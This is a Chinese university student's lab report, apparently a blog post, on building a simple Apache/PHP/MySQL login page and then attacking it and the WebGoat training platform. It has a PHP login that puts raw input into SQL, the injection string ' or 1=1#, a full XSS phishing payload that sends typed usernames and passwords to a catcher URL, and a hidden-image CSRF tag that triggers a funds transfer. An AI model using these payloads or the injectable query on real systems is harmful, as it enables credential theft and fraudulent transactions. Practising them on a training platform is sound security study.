20192403赵秋涵 2021-2022-2 《网络与系统攻防技术》实验八实验报告

20192403赵秋涵 2021-2022-2 《网络与系统攻防技术》实验八实验报告

1. 实验内容

熟悉web前端后端,连接数据库实现登录;
进行简单的SQL注入、安装Webgoat或类似平台,并完成SQL注入、XSS、CSRF攻击。

2. 实验过程

2.1 Web前端HTML

2.1.1 启动Apache

  1. sudo netstat -tupln |grep 80查看80端口是否被占用

如果有,使用kill+进程杀死该进程。

  1. sudo vi /etc/apache2/ports.conf修改Apache的端口配置文件,将端口改为http对应的80号端口
  2. systemctl start apache2开启Apache服务

systemctl stop apache2关闭Apache服务

  1. 登录成功

2.1.2 HTML 是什么

HTML全称超文本标记语言,是一种标记语言。
超文本是一种组织信息的方式,它通过超级链接方法将文本中的文字、图表与其他信息媒体相关联。
这些相互关联的信息媒体可能在同一文本中,也可能是其他文件,或是地理位置相距遥远的某台计算机上的文件。

2.1.3 区别GET与POST

GET 和 POST 其实都是 HTTP 的请求方法
GET请求:请求指定的页面信息,并返回实体主体。
POST请求:向指定资源提交数据进行处理请求(例如提交表单或者上传文件)。
对于GET方式的请求,浏览器会把http header和data一并发送出去,服务器响应200(返回数据)。而对于POST请求,浏览器先发送header,服务器响应100 continue,浏览器再发送data,服务器响应200 ok(返回数据)。

2.1.4 一个含有表单的HTML

  1. vi /var/www/html/20192403.html 创建一个有表单的HTML
<html>
<body>
<h1>用户登录</h1> 
<meta charset="utf-8">
<form action="/demo/html/action_page.php" target="_blank" method="POST">
  <label for="fname">账号:</label><br>
  <input type="text" id="username" name="username" ><br>
  <label for="lname">密码:</label><br>
  <input type="password" id="password" name="password"><br><br>
  <input type="submit" value="登录">
</form>
</body>
</html>
  1. 浏览器访问网址 127.0.0.1/20192403.html

2.1.5 区别两张不同的表单信息方法

  1. 在post下点击登录

  2. 更换为GET,再次访问网站

2.2 Web前端javascipt

2.2.1 基本概念

  1. javascript
    javascipt是动态的面向对象的编程语言。能够丰富Web界面和网页功能、实现本地或远程存储、实现分布式网络应用的前端组件,并且在后台进行数据存储管理。
    2.DOM(文档对象类型)
    可简单理解为代表网页文档的一棵树,该树的节点类型有多种。
    根据HTML标签在刻画网页特征时的语义功能,将DOM树结点分为6种类别:标题类(TITLE)、正文类(CONTENT)、视觉类(VISION)、分块类(BLOCK)、超链类(LINK)和其他类(OTHER),不同类的结点对Web信息提取的重要度不同。

2.2.2 编写JavaScript

  1. 编写新代码
  <script type="text/javascript">
      function checked()
      {
          var user= document.form1.username.value;
          var pd=document.form1.userpwd.value;
      if(user == "" || user==NULL)
      {
          alert("用户名不能为空!");
          return false;
      }
      if(pd == "" || pd==NULL)
      {
          alert("密码不能为空!");
          return false;
      }
          return true;
      }
  1. 修改此处源代码
    <form name="form1" method="post" action="login" onsubmit="return checked();">
  2. 再登录会有提示

2.3 Web后端 MySQL基础

2.3.1 启动MySQL

  1. systemctl start mysql启动mysql
  2. sudo mysql -u root -p进入mysql,默认密码时password

注意一定要使用root用户!

2.3.2 建库

  1. use mysql; 选择使用mysql这个数据库
  2. select user, password, host from user; 查看当前用户信息
  3. create database 20192403zqh;建立数据库
  4. use 20192403zqh;
  5. create table login (username VARCHAR(20),password VARCHAR(20));建立数据库表,并设置字段基本信息
  6. 插入数据:
insert into login values('zqh@2403.com','2403');
insert into login values('zhaoqiuhan','20192403');
  1. grant select,insert,update,delete on 20192403zqh.* to 2403zqh@localhost identified by "2403";将对某数据库的所有表的select,insert,update,delete权限授予IP登录的用户

  2. sudo 2403zqh -u root -p验证

2.4 Web后端:编写PHP网页,连接数据库,进行用户认证

2.4.1 编写login.php

  <?php
  $uname=$_POST["username"];
  $pwd=$_POST["password"];
  echo $uname;
  $query_str="SELECT * FROM login where username='$uname' and password='$pwd';";
  $mysqli = new mysqli("127.0.0.1", "SHL", "password", "TEST");
  $query_str1="use TEST;";

  /* check connection */
  if ($mysqli->connect_errno) {
  printf("Connect failed: %s\n", $mysqli->connect_error);
  	exit();
  }
  echo "connection ok!";
  /* Select queries return a resultset */
  if ($result = $mysqli->query($query_str1))
  echo"<br>Success into database!";
  echo$uname;
  if ($result = $mysqli->query($query_str)) {
  if ($result->num_rows > 0 ){
      echo "<br> {$uname}:Welcome!!! <br> ";
      }
      else {
      echo "<br> login failed!!!! <br> " ; }
  	/* free result set */
  	$result->close();
  }
  $mysqli->close();
  ?>

2.4.2 登陆成功

2.5 SQL注入,XSS攻击测试

2.5.1 SQL注入

  1. 原理
    输入的用户名和代码中select语句组合起来变成了select * from users where username='' or 1=1#' and password='' 相当于注释符把后面的内容都注释掉了,而1=1是永真式 ,所以这个条件永远成立,所以不管密码是否输入正确,都能够成功登陆
  2. 用户名输入' or 1=1#

2.5.2 XSS攻击

  1. var/www/html文件夹下放一张图片test.jpg

  2. 登录端输入<img src='test.jpg'/>,密码任意输入。点击1登录后会显示这张图片

但我这里不知道为什么显示出了这个

2.6 安装Webgoat或类似平台,并完成SQL注入、XSS、CSRF攻击

2.6.1 安装相应的软件

  1. 配置Java SE8
    参照教程安装jdk-8u251-linux-x64.tar.gz

  2. 安装Webgoat
    下载 webgoat-container-7.0.1-war-exec.jar 文件
    java -jar webgoat-container-7.0.1-war-exec.jar 运行Webgoat ,等待一小会后出现如下提示则运行成功。

  3. 登录
    在浏览器登录http://localhost:8080/WebGoat 进入WebGoat登录界面, 使用页面下端任意一个账号密码进行登录

2.6.2 SQL注入攻击

  1. 在菜单栏中选择 Injection Flaws ——>Numeric SQL

  2. 右键点击页面,选择 inspect Element 审查网页元素对源代码进行修改,在选中的城市编号Value值中添加 or 1=1

  3. 点击GO

2.6.3 XSS攻击

  1. 在菜单栏中选择 Cross‐Site Scripting->Phishing with XSS
  2. 将下面这段代码输入到 "Search:" 输入框中,点击 search
<head>
<body>
<div>
<div style="float:left;height:100px;width:50%;background-color:green;"></div>
<div style="float:left;height:100px;width:50%;background-color:red;"></div>
</div>
<div style="background-color:blue;height:200px;clear:both;"></div>
</div></div>
</form>
  <script>
function hack(){ 
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
} 
  </script>
<form name="phish">
<br>
<br>
<HR>
  <H2>This feature requires account login:</H2>
<br>
  <br>Enter Username:<br>
  <input type="text" name="user">
  <br>Enter Password:<br>
  <input type="password" name = "pass">
<br>
  <input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
</body>
</head>

出现代码中所指定的绿、红、蓝三块div,并在下方出现了用于欺骗用户的提示语 "This feature requires account login:" 和用户名、密码输入框。
3. 在登录框中输入用户名、密码`20181234 zyx1812`点击登录后,alert提示显示被窃取的用户名和密码。

2.6.4CSRF攻击

1. 在菜单栏中选择 Cross‐Site Scripting ->Cross Site Request Forgery (CSRF)
2. 在title中输入任何参数,message框中输入<img src="http://localhost:8080/WebGoat/attack?Screen=324&menu=900&transferFunds=5000" width="1" height="1" />

3.以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件,点击 Submit 提交
这里src值、menu值要根据上一步查看的结果修改,转账数额随便输入,eg:5000
宽高设置成1像素的目的是隐藏该图片
提交后,在Message List中生成以Title命名的链接(消息)。点击该消息,当前页面就会下载这个消息并显示出来,转走用户的5000元,从而达到CSRF攻击的目的。

3. 实验中遇到的问题

打开数据库后发现自己的root账户密码始终提醒错误
最后发现是因为是用用户身份打开的终端,而不是root身份

4. 实验收获

本实验是在Linux下实现的一个简单的前端+后台编程,不使用java语言。一个简单的日志函数。可以在不设置Apache环境或数据库的情况下使用它。而且,MySQL的使用非常简单和直观。这是一个学习网络安全的好平台。我在理解和掌握HTML的同时。这个实验使用了一种新的PHP语言。我们对PHP有了基本的了解。这个实验对我们的专业很重要。我要多学习。通过实验说明了知识体系,并将XSS场景注入到SQL攻击中。CSRF延伸至现场。我觉得网上的安全内容很有趣,有机会可以了解更多的知识,继续磨练这方面的内容。

posted @ 2022-06-10 11:27  20192403赵秋涵  阅读(82)  评论(0编辑  收藏  举报